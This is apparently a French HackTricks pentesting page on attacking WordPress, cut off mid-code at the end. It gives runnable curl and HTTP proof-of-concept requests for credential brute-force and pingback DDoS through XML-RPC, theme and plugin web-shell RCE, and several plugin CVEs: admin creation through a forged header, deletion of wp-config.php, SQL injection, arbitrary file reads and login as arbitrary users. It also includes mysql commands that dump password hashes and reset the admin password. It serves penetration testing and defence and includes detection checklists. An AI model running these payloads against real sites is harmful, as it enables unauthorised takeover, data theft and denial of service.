Wordpress
Reading time: 35 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Informations de base
-
Les fichiers Uploaded vont dans :
http://10.10.10.10/wp-content/uploads/2018/08/a.txt
-
Les fichiers de thÚmes se trouvent dans /wp-content/themes/, donc si vous modifiez du php du thÚme pour obtenir une RCE vous utiliserez probablement ce chemin. Par exemple : En utilisant theme twentytwelve vous pouvez accéder au fichier 404.php dans : /wp-content/themes/twentytwelve/404.php
-
Une autre URL utile pourrait ĂȘtre : /wp-content/themes/default/404.php
-
Dans wp-config.php vous pouvez trouver le mot de passe root de la base de données.
-
Chemins de login par défaut à vérifier : /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Principaux fichiers WordPress
index.php
license.txt
contient des informations utiles comme la version de WordPress installée.wp-activate.php
est utilisĂ© pour le processus d'activation par email lors de la crĂ©ation d'un nouveau site WordPress.- Dossiers de login (peuvent ĂȘtre renommĂ©s pour les cacher) :
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php
xmlrpc.php
est un fichier représentant une fonctionnalité de WordPress qui permet la transmission de données via HTTP en tant que mécanisme de transport et XML comme mécanisme d'encodage. Ce type de communication a été remplacé par le WordPress REST API.- Le dossier
wp-content
est le rĂ©pertoire principal oĂč sont stockĂ©s les plugins et les thĂšmes. wp-content/uploads/
est le rĂ©pertoire oĂč sont stockĂ©s tous les fichiers uploadĂ©s sur la plateforme.wp-includes/
est le rĂ©pertoire oĂč sont stockĂ©s les fichiers core, tels que certificats, polices, fichiers JavaScript, et widgets.wp-sitemap.xml
Dans les versions de WordPress 5.5 et supérieures, WordPress génÚre un fichier sitemap XML avec tous les posts publics et les types de posts et taxonomies publiquement interrogeables.
Post exploitation
- Le fichier
wp-config.php
contient les informations requises par WordPress pour se connecter Ă la base de donnĂ©es telles que le nom de la base, l'hĂŽte de la base, le nom d'utilisateur et le mot de passe, les clĂ©s d'authentification et salts, et le prĂ©fixe des tables de la base. Ce fichier de configuration peut aussi ĂȘtre utilisĂ© pour activer le mode DEBUG, ce qui peut ĂȘtre utile pour le troubleshooting.
Permissions des utilisateurs
- Administrator
- Editor : Publie et gĂšre ses propres posts et ceux des autres
- Author : Publie et gĂšre ses propres posts
- Contributor : Rédige et gÚre ses posts mais ne peut pas les publier
- Subscriber : Parcourt les posts et édite son profil
Passive Enumeration
Get WordPress version
Vérifiez si vous pouvez trouver les fichiers /license.txt
ou /readme.html
Dans le source code de la page (exemple depuis https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
- Fichiers CSS (link)
- Fichiers JavaScript
Obtenir des plugins
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Récupérer les thÚmes
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Extraire les versions en général
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
ĂnumĂ©ration active
Plugins and Themes
Vous n'arriverez probablement pas à trouver tous les Plugins and Themes possibles. Pour les découvrir, vous devrez effectuer activement un Brute Force d'une liste de Plugins and Themes (espérons pour nous qu'il existe des outils automatisés contenant ces listes).
Users
- ID Brute: Vous obtenez des utilisateurs valides d'un site WordPress en Brute Forcing les IDs des utilisateurs :
curl -s -I -X GET http://blog.example.com/?author=1
Si les réponses sont 200 ou 30X, cela signifie que l'id est valide. Si la réponse est 400, alors l'id est invalide.
- wp-json: Vous pouvez aussi essayer d'obtenir des informations sur les utilisateurs en interrogeant :
curl http://blog.example.com/wp-json/wp/v2/users
Un autre endpoint /wp-json/
qui peut révéler certaines informations sur les utilisateurs est :
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Notez que cet endpoint n'expose que les utilisateurs qui ont publié un post. Seules les informations concernant les utilisateurs qui ont cette fonctionnalité activée seront fournies.
Notez aussi que /wp-json/wp/v2/pages pourrait leak des adresses IP.
- Login username enumeration : Lors de la connexion via
/wp-login.php
, le message est différent selon qu'il indique que le username existe ou non.
XML-RPC
Si xml-rpc.php
est actif, vous pouvez effectuer un brute-force de credentials ou l'utiliser pour lancer des attaques DoS vers d'autres ressources. (Vous pouvez automatiser ce processus using this par exemple).
Pour vĂ©rifier s'il est actif, essayez d'accĂ©der Ă /xmlrpc.php et envoyez cette requĂȘte :
Vérifier
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
Credentials Bruteforce
wp.getUserBlogs
, wp.getCategories
ou metaWeblog.getUsersBlogs
sont quelques-unes des mĂ©thodes pouvant ĂȘtre utilisĂ©es pour brute-force credentials. Si vous en trouvez une, vous pouvez envoyer quelque chose comme :
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
Le message "Incorrect username or password" dans une réponse avec code 200 devrait apparaßtre si les identifiants ne sont pas valides.
Avec les bons identifiants vous pouvez téléverser un fichier. Dans la réponse le chemin apparaßtra (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Il existe aussi une méthode plus rapide pour brute-force des credentials en utilisant system.multicall
, car vous pouvez essayer plusieurs credentials dans une seule requĂȘte :
.png)
Bypass 2FA
Cette mĂ©thode est destinĂ©e aux programmes et non aux humains, et est ancienne, donc elle ne supporte pas la 2FA. Donc, si vous avez des creds valides mais que l'accĂšs principal est protĂ©gĂ© par la 2FA, vous pourriez ĂȘtre capable d'abuser de xmlrpc.php pour vous connecter avec ces creds en contournant la 2FA. Notez que vous ne pourrez pas effectuer toutes les actions disponibles via la console, mais vous pourriez quand mĂȘme obtenir une RCE comme l'explique Ippsec dans https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s
DDoS or port scanning
Si vous trouvez la mĂ©thode pingback.ping dans la liste vous pouvez faire en sorte que Wordpress envoie une requĂȘte arbitraire Ă n'importe quel host/port.
Cela peut ĂȘtre utilisĂ© pour demander Ă des milliers de sites Wordpress d'accĂ©der Ă un mĂȘme emplacement (causant ainsi un DDoS Ă cet endroit) ou vous pouvez l'utiliser pour faire Wordpress scan un rĂ©seau interne (vous pouvez indiquer n'importe quel port).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
Si vous obtenez faultCode avec une valeur supérieure à 0 (17), cela signifie que le port est ouvert.
Consultez l'utilisation de system.multicall
dans la section précédente pour apprendre comment abuser de cette méthode afin de provoquer un DDoS.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
wp-cron.php DoS
Ce fichier existe généralement à la racine du site Wordpress : /wp-cron.php
Lorsque ce fichier est accessed, une requĂȘte MySQL heavy est exĂ©cutĂ©e, il peut donc ĂȘtre utilisĂ© par des attackers pour cause un DoS.
De plus, par défaut, le wp-cron.php
est appelé à chaque chargement de page (anytime a client requests any Wordpress page), ce qui, sur des sites high-traffic, peut causer des problÚmes (DoS).
Il est recommandé de désactiver Wp-Cron et de créer un véritable cronjob sur l'hÎte qui exécutera les actions nécessaires à des intervalles réguliers (without causing issues).
/wp-json/oembed/1.0/proxy - SSRF
Try to access https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net et le site Wordpress peut effectuer une requĂȘte vers vous.
This is the response when it doesn't work:
SSRF
https://github.com/t0gu/quickpress/blob/master/core/requests.go
Cet outil vérifie si le methodName: pingback.ping et le chemin /wp-json/oembed/1.0/proxy existent, et si c'est le cas, il tente de les exploiter.
Outils automatiques
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Obtenir l'accĂšs en modifiant un bit
Plus une curiosité qu'une vraie attaque. Dans le CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man vous pouviez inverser 1 bit dans n'importe quel fichier wordpress. Ainsi vous pouviez inverser la position 5389
du fichier /var/www/html/wp-includes/user.php
pour NOP l'opération NOT (!
).
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Panel RCE
Modification d'un php du thÚme utilisé (identifiants admin nécessaires)
Apparence â Ăditeur de thĂšme â ModĂšle 404 (Ă droite)
Remplacez le contenu par un php shell :
Cherchez sur Internet comment accéder à la page mise à jour. Dans ce cas, vous devez accéder ici : http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Vous pouvez utiliser :
use exploit/unix/webapp/wp_admin_shell_upload
pour obtenir une session.
Plugin RCE
PHP plugin
Il peut ĂȘtre possible de tĂ©lĂ©verser des fichiers .php en tant que plugin.
Créez votre backdoor php en utilisant par exemple :
Puis ajoutez un nouveau plugin :
Téléversez le plugin et appuyez sur Install Now :
Cliquez sur Procced :
Probablement cela n'affichera rien apparemment, mais si vous allez dans Media, vous verrez votre shell téléversé :
Accédez-y et vous verrez l'URL pour exécuter le reverse shell :
Uploading and activating malicious plugin
Cette mĂ©thode implique l'installation d'un plugin malveillant connu pour ĂȘtre vulnĂ©rable et pouvant ĂȘtre exploitĂ© pour obtenir un web shell. Ce processus est rĂ©alisĂ© via le WordPress dashboard comme suit :
- Acquisition du plugin: Le plugin est obtenu depuis une source comme Exploit DB, par exemple here.
- Installation du plugin:
- Allez dans le WordPress dashboard, puis allez Ă
Dashboard > Plugins > Upload Plugin
. - Téléversez le fichier zip du plugin téléchargé.
- Activation du plugin: Une fois le plugin installĂ© avec succĂšs, il doit ĂȘtre activĂ© via le dashboard.
- Exploitation:
- Avec le plugin "reflex-gallery" installĂ© et activĂ©, il peut ĂȘtre exploitĂ© car il est connu pour ĂȘtre vulnĂ©rable.
- Le framework Metasploit fournit un exploit pour cette vulnĂ©rabilitĂ©. En chargeant le module appropriĂ© et en exĂ©cutant des commandes spĂ©cifiques, une session meterpreter peut ĂȘtre Ă©tablie, accordant un accĂšs non autorisĂ© au site.
- Il est noté qu'il s'agit juste d'une des nombreuses méthodes pour exploiter un site WordPress.
Le contenu inclut des aides visuelles dĂ©crivant les Ă©tapes dans le WordPress dashboard pour l'installation et l'activation du plugin. Cependant, il est important de noter qu'exploiter des vulnĂ©rabilitĂ©s de cette maniĂšre est illĂ©gal et contraire Ă l'Ă©thique sans autorisation appropriĂ©e. Ces informations doivent ĂȘtre utilisĂ©es de maniĂšre responsable et uniquement dans un contexte lĂ©gal, comme des tests d'intrusion avec permission explicite.
For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/
De XSS Ă RCE
- WPXStrike: WPXStrike est un script conçu pour escalader une vulnérabilité de Cross-Site Scripting (XSS) vers Remote Code Execution (RCE) ou d'autres vulnérabilités critiques dans WordPress. Pour plus d'infos consultez this post. Il prend en charge les versions de WordPress 6.X.X, 5.X.X et 4.X.X et permet de :
- Privilege Escalation: Crée un utilisateur dans WordPress.
- (RCE) Custom Plugin (backdoor) Upload: Téléversez votre plugin personnalisé (backdoor) sur WordPress.
- (RCE) Built-In Plugin Edit: Ăditer un plugin intĂ©grĂ© dans WordPress.
- (RCE) Built-In Theme Edit: Ăditer un thĂšme intĂ©grĂ© dans WordPress.
- (Custom) Custom Exploits: Exploits personnalisés pour des plugins/thÚmes WordPress tiers.
Post Exploitation
Extraire les noms d'utilisateur et les mots de passe :
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Changer le mot de passe admin :
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Pentest des plugins Wordpress
Surface d'attaque
Comprendre comment un plugin Wordpress peut exposer des fonctionnalités est essentiel pour trouver des vulnérabilités. Vous pouvez trouver comment un plugin pourrait exposer des fonctionnalités dans les points suivants et quelques exemples de plugins vulnérables dans this blog post.
wp_ajax
L'un des moyens pour un plugin d'exposer des fonctions aux utilisateurs est via des gestionnaires AJAX. Ceux-ci peuvent contenir des bugs de logique, d'autorisation ou d'authentification. De plus, il est assez fréquent que ces fonctions basent à la fois l'authentification et l'autorisation sur l'existence d'un nonce Wordpress que tout utilisateur authentifié sur l'instance Wordpress pourrait posséder (indépendamment de son rÎle).
Voici les fonctions qui peuvent ĂȘtre utilisĂ©es pour exposer une fonction dans un plugin :
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
L'utilisation de nopriv
rend l'endpoint accessible Ă tous les utilisateurs (mĂȘme les utilisateurs non authentifiĂ©s).
caution
De plus, si la fonction vérifie seulement l'autorisation de l'utilisateur avec la fonction wp_verify_nonce
, cette fonction vérifie uniquement que l'utilisateur est connecté, elle ne vérifie généralement pas le rÎle de l'utilisateur. Donc des utilisateurs peu privilégiés pourraient avoir accÚs à des actions réservées aux utilisateurs à privilÚges élevés.
- REST API
Il est également possible d'exposer des fonctions de wordpress en enregistrant une REST API en utilisant la fonction register_rest_route
:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
Le permission_callback
est une fonction de rappel qui vérifie si un utilisateur donné est autorisé à appeler la méthode API.
Si la fonction intégrée __return_true
est utilisée, elle contournera simplement la vérification des permissions utilisateur.
- AccĂšs direct au fichier php
Bien sûr, Wordpress utilise PHP et les fichiers à l'intérieur des plugins sont directement accessibles depuis le web. Donc, si un plugin expose une fonctionnalité vulnérable qui est déclenchée simplement en accédant au fichier, cela sera exploitable par n'importe quel utilisateur.
Usurpation REST via trusted-header (WooCommerce Payments †5.6.1)
Certains plugins implĂ©mentent des raccourcis âtrusted headerâ pour des intĂ©grations internes ou des reverse proxies, puis utilisent cet en-tĂȘte pour dĂ©finir le contexte utilisateur courant pour les requĂȘtes REST. Si l'en-tĂȘte n'est pas liĂ© cryptographiquement Ă la requĂȘte par un composant en amont, un attaquant peut le falsifier et atteindre des routes REST privilĂ©giĂ©es en tant qu'administrateur.
- Impact : élévation de privilÚges non authentifiée jusqu'au rÎle admin en créant un nouvel administrateur via la core users REST route.
- Example header:
X-Wcpay-Platform-Checkout-User: 1
(force l'ID utilisateur 1, typiquement le premier compte administrateur). - Route exploitée :
POST /wp-json/wp/v2/users
avec un tableau de rÎle élevé.
PoC
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
Pourquoi cela fonctionne
- Le plugin mappe un header contrÎlé par le client à l'état d'authentification et saute les capability checks.
- WordPress core attend la capability
create_users
pour cette route ; le hack du plugin la bypass en définissant directement le contexte de l'utilisateur courant à partir du header.
Expected success indicators
- HTTP 201 avec un body JSON décrivant l'utilisateur créé.
- Un nouvel utilisateur admin visible dans
wp-admin/users.php
.
Detection checklist
- Grep pour
getallheaders()
,$_SERVER['HTTP_...']
, ou des vendor SDKs qui lisent des headers custom pour définir le contexte utilisateur (par ex.,wp_set_current_user()
,wp_set_auth_cookie()
). - Revoir les REST registrations pour des callbacks privilégiés qui n'ont pas de vérifications robustes de
permission_callback
et qui se fient Ă la place aux headers de la requĂȘte. - Chercher les usages des fonctions core de gestion d'utilisateurs (
wp_insert_user
,wp_create_user
) dans des handlers REST qui sont protégés uniquement par des valeurs de header.
Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress themes et plugins exposent fréquemment des AJAX handlers via les hooks wp_ajax_
et wp_ajax_nopriv_
. Quand la variante nopriv est utilisée le callback devient accessible aux visiteurs non authentifiés, donc toute action sensible doit en plus implémenter :
- Un capability check (par ex.
current_user_can()
ou au minimumis_user_logged_in()
), et - Un CSRF nonce validé avec
check_ajax_referer()
/wp_verify_nonce()
, et - Assainissement / validation stricte des entrées.
Le thÚme multipurpose Litho (< 3.1) a oublié ces 3 contrÎles dans la fonctionnalité Remove Font Family et a fini par livrer le code suivant (simplifié) :
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
ProblĂšmes introduits par cet extrait :
- AccĂšs non authentifiĂ© â le
wp_ajax_nopriv_
hook est enregistrĂ©. - Pas de vĂ©rification du nonce / capability â n'importe quel visiteur peut atteindre l'endpoint.
- Pas de sanitisation du chemin â la chaĂźne contrĂŽlĂ©e par l'utilisateur
fontfamily
est concaténée à un chemin du systÚme de fichiers sans filtrage, permettant le classique parcours../../
.
Exploitation
Un attaquant peut supprimer n'importe quel fichier ou répertoire sous le répertoire de base des uploads (normalement <wp-root>/wp-content/uploads/
) en envoyant une seule requĂȘte HTTP POST :
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
Parce que wp-config.php
se trouve en dehors de uploads, quatre séquences ../
suffisent sur une installation par défaut. La suppression de wp-config.php
force WordPress à lancer l'assistant d'installation lors de la visite suivante, permettant une prise de contrÎle complÚte du site (l'attaquant fournit simplement une nouvelle configuration DB et crée un utilisateur admin).
D'autres cibles impactantes incluent les fichiers .php
de plugins/themes (pour neutraliser des plugins de sécurité) ou les rÚgles .htaccess
.
Checklist de détection
- Tout callback
add_action( 'wp_ajax_nopriv_...')
qui appelle des fonctions d'accĂšs au systĂšme de fichiers (copy()
,unlink()
,$wp_filesystem->delete()
, etc.). - Concaténation d'entrées utilisateur non assainies dans des chemins (rechercher
$_POST
,$_GET
,$_REQUEST
). - Absence de
check_ajax_referer()
et decurrent_user_can()
/is_user_logged_in()
.
Escalade de privilĂšges via restauration de rĂŽle obsolĂšte et absence d'autorisation (ASE "View Admin as Role")
Beaucoup de plugins implĂ©mentent une fonctionnalitĂ© "view as role" ou de changement temporaire de rĂŽle en sauvegardant le(s) rĂŽle(s) original(aux) dans les user meta afin de pouvoir les restaurer plus tard. Si le chemin de restauration s'appuie uniquement sur des paramĂštres de requĂȘte (par ex. $_REQUEST['reset-for']
) et sur une liste maintenue par le plugin sans vérifier les capabilities et un nonce valide, cela devient une escalade verticale de privilÚges.
Un exemple réel a été trouvé dans le plugin Admin and Site Enhancements (ASE) (†7.6.2.1). La branche de reset restaurait les rÎles basés sur reset-for=<username>
si le nom d'utilisateur apparaissait dans un tableau interne $options['viewing_admin_as_role_are']
, mais n'effectuait ni vérification current_user_can()
ni vérification de nonce avant de supprimer les rÎles actuels et de réajouter les rÎles sauvegardés dans les user meta _asenha_view_admin_as_original_roles
:
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
Pourquoi c'est exploitable
- Se fie Ă
$_REQUEST['reset-for']
et à une option du plugin sans autorisation cÎté serveur. - Si un utilisateur avait auparavant des privilÚges plus élevés enregistrés dans
_asenha_view_admin_as_original_roles
et a été rétrogradé, il peut les restaurer en accédant au chemin de reset. - Dans certains déploiements, tout utilisateur authentifié pouvait déclencher un reset pour un autre nom d'utilisateur encore présent dans
viewing_admin_as_role_are
(autorisation défaillante).
Exploitation (exemple)
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
Sur les builds vulnérables, cela supprime les rÎles actuels et ré-ajoute les rÎles originaux sauvegardés (par ex., administrator
), escaladant ainsi les privilĂšges.
Detection checklist
- Recherchez des fonctionnalitĂ©s de changement de rĂŽle qui conservent les âoriginal rolesâ dans le user meta (par ex.,
_asenha_view_admin_as_original_roles
). - Identifier les chemins de reset/restore qui :
- Lisent des noms d'utilisateur depuis
$_REQUEST
/$_GET
/$_POST
. - Modifient les rĂŽles via
add_role()
/remove_role()
sanscurrent_user_can()
etwp_verify_nonce()
/check_admin_referer()
. - Autorisent sur la base d'un tableau d'options de plugin (par ex.,
viewing_admin_as_role_are
) au lieu des capacités de l'acteur.
Unauthenticated privilege escalation via cookieâtrusted user switching on public init (Service Finder âsf-bookingâ)
Certains plugins raccordent des helpers de changement d'utilisateur au hook public init
et dérivent l'identité d'un cookie contrÎlé par le client. Si le code appelle wp_set_auth_cookie()
sans vérifier l'authentification, la capability et un nonce valide, tout visiteur non authentifié peut forcer la connexion en tant qu'ID utilisateur arbitraire.
Typical vulnerable pattern (simplified from Service Finder Bookings †6.1):
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');
function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid); // đ„ sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}
Pourquoi c'est exploitable
- Le hook public
init
rend le handler accessible aux utilisateurs non authentifiés (pas de gardeis_user_logged_in()
). - L'identité est dérivée d'un cookie modifiable par le client (
original_user_id
). - Un appel direct Ă
wp_set_auth_cookie($uid)
connecte le requérant en tant que cet utilisateur sans aucune vérification de capability/nonce.
Exploitation (sans authentification)
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close
Considérations WAF pour les CVE de WordPress/plugin
Les WAF génériques pour edge/serveur sont configurés pour des motifs larges (SQLi, XSS, LFI). De nombreuses vulnérabilités WordPress/plugin à fort impact sont des bugs de logique/authentification spécifiques à l'application qui ressemblent à du trafic bénin à moins que le moteur ne comprenne les routes WordPress et la sémantique des plugins.
Offensive notes
- Ciblez les endpoints spécifiques aux plugins avec des payloads propres :
admin-ajax.php?action=...
,wp-json/<namespace>/<route>
, gestionnaires de fichiers personnalisés, shortcodes. - Testez d'abord les chemins non authentifiés (AJAX
nopriv
, REST avec permissivepermission_callback
, shortcodes publics). Les payloads par défaut réussissent souvent sans obfuscation. - Cas typiques à fort impact : privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
Defensive notes
- Ne comptez pas sur des signatures WAF génériques pour protéger les CVE de plugins. Mettez en place des correctifs virtuels spécifiques à la vulnérabilité au niveau applicatif ou mettez à jour rapidement.
- Privilégiez des contrÎles en mode sécurité positive dans le code (capabilities, nonces, validation stricte des entrées) plutÎt que des filtres négatifs basés sur des regex.
Protection de WordPress
Mises à jour réguliÚres
Assurez-vous que WordPress, les plugins et les thÚmes sont à jour. Vérifiez aussi que la mise à jour automatique est activée dans wp-config.php:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
De plus, n'installez que des plugins et thĂšmes WordPress fiables.
Plugins de sécurité
Autres recommandations
- Supprimez l'utilisateur par défaut admin
- Utilisez des mots de passe forts et 2FA
- Périodiquement revoyez les autorisations des utilisateurs
- Limitez les tentatives de connexion pour prévenir les attaques Brute Force
- Renommez le fichier
wp-admin.php
et n'autorisez l'accĂšs qu'en interne ou depuis certaines adresses IP.
Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
Le plugin de recrutement WP Job Portal exposait une tùche savecategory qui exécute finalement le code vulnérable suivant dans modules/category/model.php::validateFormData()
:
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat â
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
ProblĂšmes introduits par cet extrait :
- Unsanitised user input â
parentid
provient directement de la requĂȘte HTTP. - String concatenation inside the WHERE clause â pas d'
is_numeric()
/esc_sql()
/ requĂȘte prĂ©parĂ©e. - Unauthenticated reachability â bien que l'action soit exĂ©cutĂ©e via
admin-post.php
, la seule vérification en place est un CSRF nonce (wp_verify_nonce()
), que n'importe quel visiteur peut récupérer depuis une page publique incorporant le shortcode[wpjobportal_my_resumes]
.
Exploitation
- Récupérer un nonce récent :
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
- Injecter du SQL arbitraire en abusant de
parentid
:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
La rĂ©ponse divulgue le rĂ©sultat de la requĂȘte injectĂ©e ou modifie la base de donnĂ©es, prouvant la prĂ©sence d'une SQLi.
Téléchargement arbitraire de fichiers sans authentification / Path Traversal (WP Job Portal <= 2.3.2)
Une autre tùche, downloadcustomfile, permettait aux visiteurs de télécharger n'importe quel fichier sur le disque via path traversal. Le sink vulnérable est situé dans modules/customfield/model.php::downloadCustomUploadedFile()
:
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
$file_name
est contrĂŽlĂ© par l'attaquant et concatĂ©nĂ© sans assainissement. Encore une fois, la seule protection est un CSRF nonce qui peut ĂȘtre rĂ©cupĂ©rĂ© depuis la resume page.
Exploitation
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
Le serveur renvoie le contenu de wp-config.php
, leaking DB credentials and auth keys.
Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
De nombreux thÚmes/plugins fournissent des helpers de "social login" exposés via admin-ajax.php. Si une action AJAX non authentifiée (wp_ajax_nopriv_...) fait confiance à des identifiants fournis par le client lorsque les données du provider sont absentes, puis appelle wp_set_auth_cookie(), cela devient un full authentication bypass.
Schéma défaillant typique (simplifié)
public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb': /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token */ break;
// other providers ...
default: /* unsupported/missing provider â execution continues */ break;
}
// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');
if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}
$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // đ„ logs requester in as that user
